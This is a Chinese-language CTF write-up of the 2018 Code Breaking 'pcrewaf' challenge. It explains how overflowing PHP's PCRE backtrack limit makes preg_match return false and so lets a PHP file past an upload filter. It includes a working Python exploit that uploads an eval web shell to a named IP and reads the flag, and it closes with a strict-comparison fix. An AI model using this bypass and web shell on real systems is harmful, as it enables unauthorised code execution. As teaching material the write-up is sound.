代码审计从入门到放弃(二) & pcrewaf

发表于:2019-03-11 17:23:22 来源:  合天网安实验室 阅读数(0人)

前言


继续之前的2018 Code Breaking,这次是一道关于php回溯bypass正则的题目:pcrewaf


题目概述


题目源码如下



  1. <?php


  2. function is_php($data){


  3.    return preg_match('/<\?.*[(`;?>].*/is', $data);


  4. }


  5. if(empty($_FILES)) {


  6.    die(show_source(__FILE__));


  7. }


  8. $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);


  9. $data = file_get_contents($_FILES['file']['tmp_name']);


  10. if (is_php($data)) {


  11.    echo "bad request";


  12. } else {


  13.    @mkdir($user_dir, 0755);


  14.    $path = $user_dir . '/' . random_int(0, 10) . '.php';


  15.    move_uploaded_file($_FILES['file']['tmp_name'], $path);


  16.    header("Location: $path", true, 303);


  17. }

题目源码比较清晰,应该是一个上传问题,我们依次解读一下:


首先我们确定上传目录


$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);

然后我们上传的文件内容会被读取


$data = file_get_contents($_FILES['file']['tmp_name']);

紧接着内容会进入正则进行匹配,以判断我们上传的文件内容里是否有php代码


function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}
					

如果带有phg代码,贼会打印`bad request`


若不带有php代码,则会将我们的文件进行保存


@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
					

然后在http返回头里给我们文件路径


					header("Location: $path", true, 303);
					

那么现在思路应该很清晰了:题目并没有禁止我们上传php文件,但是对文件内容进行了过滤,禁止我们写入php代码。


所以现在的思路应该就是:bypass正则



  1. preg_match('/<\?.*[(`;?>].*/is', $data);

上传php文件getshell


正则分析


当我们输入一个正常的php文件内容时



  1. <?php phpinfo(); ?>

我们可以看到正则的全部流程如下


首先正则开始寻找<




找到<后,然后正则再开始寻找?




找到<?后,正则开始匹配.*




可以在step4中看到,正则因为.*匹配上了<?后所有的字符,但此时正则没有结束,又开始继续寻找



  1. [(`;?>]



于是正则开始回溯,在末位找到>








所以这里的正则大致意思可以明确为,寻找<?开头和



  1. [(`;?>]

结尾的字符串。


那么我们怎么绕过呢?


一般情况下,我们会思考能否绕过php tags


例如



  1. <?php


  2. <%=


  3. <%, %>


  4. <script language="php">


  5. <?=

那我们能否用



  1. <%= phpinfo();

或者



  1. <script language="php">phpinfo();</script>

来绕过过滤呢?


答案显然是否定的,我们注意到题目的php版本号



  1. < HTTP/1.1 200 OK


  2. < Date: Tue, 05 Mar 2019 08:19:19 GMT


  3. < Server: Apache/2.4.25 (Debian)


  4. < X-Powered-By: PHP/7.1.26


  5. < Vary: Accept-Encoding


  6. < Content-Length: 3965


  7. < Content-Type: text/html; charset=utf-8

这里是php7,我们观察到官方手册




在php7中,这些tags都已经被移除,我们无法靠这个方式去bypass正则,那么应该如何去解呢?


php正则回溯法


这里要讲到ph牛的一篇文章



  1. https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

个人感觉ph解析的非常到位,我这里简单概述一下


我们从上面的正则流程应该能看出一些端倪,在step3到step4的时候,正则匹配完整个字符串,但因为正则没有结束,所以从后往前开始回溯寻找



  1. [(`;?>]

那么有没有可能我们让他一直回溯,一直难以找到,直到我们达成正则表达式的拒绝服务攻击(reDOS)呢?


我们不妨构造如下payload



  1. <?php phpinfo(); //skyskyskyskyskyskyskyskysky........sky

(省略号代表n多sky)


这里一直到step3都是和之前一样,但从回溯开始就发生了变化:


首先我们结尾没有用



  1. [(`;?>]

所以正则需要不断从后往前回溯,一直找到phpinfo()后的那个分号






我们可以看到正则匹配次数会随我们的sky增长而增长。


这样显然是不行的,因为我们的payload后的sky字符串可以无限延长,那么正则匹配次数不可能达到那么大的数值。所以它会不会有一个上限呢?


我们可以测试



  1. ➜  ~ php -a


  2. Interactive shell


  3. php > var_dump(ini_get('pcre.backtrack_limit'));


  4. string(7) "1000000"

可以发现次数为100万次,那么如果超过100万次会怎么样呢?


我们继续测试:


正常匹配成功情况下



  1. php > var_dump(preg_match('/<\?.*[(`;?>].*/is', '<?php phpinfo(); //aaa'));


  2. int(1)

返回了1


正常匹配失败情况下



  1. php > var_dump(preg_match('/<\?.*[(`;?>].*/is', '2333333'));


  2. int(0)

回溯达到上限情况下



  1. php > var_dump(preg_match('/<\?.*[(`;?>].*/is', '<?php phpinfo();//'.str_repeat('a', 1000000)));


  2. bool(false)

我们发现返回了false


漏洞点攻击


既然我们发现达到回溯上限会返回false,我们再看一遍题目的正则



  1. <?php


  2. function is_php($data){


  3.    return preg_match('/<\?.*[(`;?>].*/is', $data);


  4. }


  5. if (is_php($data)) {


  6.    echo "bad request";


  7. }

我们可以构造如下文本内容



  1. <?php phpinfo();//'.str_repeat('a', 1000000)

这样达到回溯上限后,is_php就会return false


那么往下的if判断中得到的结果就会为



  1. if(false)

我们自然就避开了过滤,达到了文件上传的目的


payload编写与getflag



  1. import requests


  2. from io import BytesIO


  3. files = {


  4.  'file': BytesIO('<?php eval($_REQUEST[sky]);//'+'a' * 1000000)


  5. }


  6. r = requests.post('http://106.14.114.127:22001/index.php', files=files, allow_redirects=False)


  7. path = r.headers['Location']


  8. url = 'http://106.14.114.127:22001/'+path


  9. # print url


  10. data = {


  11.    # 'sky':"var_dump(scandir('../../../'));"


  12.    'sky':"var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));"


  13. }


  14. r = requests.post(url=url,data=data)


  15. print r.content

我们运行即可得到flag



  1. ➜  Desktop python sky.py


  2. string(38) "flag{216728a834fb4c1e0bc6893e135f436e}"

修复方案


参照之前的测试,我们发现回溯失败的时候返回是false,而正常情况是0或者1,所以这里我们只要在if判断时,使用===即可,如下



  1. if (is_php($data) === 1) {


  2.    echo "bad request";


  3. }

小结


不得不膜一下p神,为许多正则Bypass提供了这么多奇技淫巧,这一点和之前的\打头的正则Bypass都能在日后测试中为我们拓宽攻击面。


实验室相关实验:


1、 透PHP代码审计:


学习PHP代码审计的基础知识,为以后的工作奠定基础。




相关新闻

大家都在学

课程详情

信息安全意识教育

课程详情

小白入门之旅

课程详情

信息安全基础